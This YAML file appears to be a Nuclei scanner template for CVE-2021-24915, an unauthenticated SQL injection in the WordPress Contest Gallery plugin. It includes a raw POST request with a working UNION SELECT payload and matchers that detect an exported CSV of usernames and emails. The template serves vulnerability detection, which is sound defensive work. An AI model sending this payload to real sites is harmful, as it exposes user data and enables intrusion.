60 lines
2.3 KiB
YAML
60 lines
2.3 KiB
YAML
id: CVE-2021-24915
|
|
|
|
info:
|
|
name: Contest Gallery < 13.1.0.6 - SQL injection
|
|
author: r3Y3r53
|
|
severity: critical
|
|
description: |
|
|
The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.
|
|
remediation: Fixed in version 13.1.0.6
|
|
reference:
|
|
- https://wpscan.com/vulnerability/45ee86a7-1497-4c81-98b8-9a8e5b3d4fac
|
|
- https://gist.github.com/tpmiller87/6c05596fe27dd6f69f1aaba4cbb9c917
|
|
- https://wordpress.org/plugins/contest-gallery/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-24915
|
|
cwe-id: CWE-89
|
|
epss-score: 0.21189
|
|
epss-percentile: 0.95867
|
|
cpe: cpe:2.3:a:contest_gallery:contest_gallery:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: contest_gallery
|
|
product: contest_gallery
|
|
framework: wordpress
|
|
public-query: "/wp-content/plugins/contest-gallery/"
|
|
tags: cve,cve2021,wordpress,wp-plugin,wpscan,wp,contest-gallery
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
cg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'WpUserId'
|
|
- 'Username'
|
|
- 'Usermail'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'text/csv'
|
|
- 'filename='
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100d9c82e6d2b2162e7977d80e7e4b88ee17c6ac4853999d0eb64785698d1e280e202201e77ef033aad4508199203c3c3361fa90795684fe586ac55fc2547d888e922b8:922c64590222798bb761d5b6d8e72950 |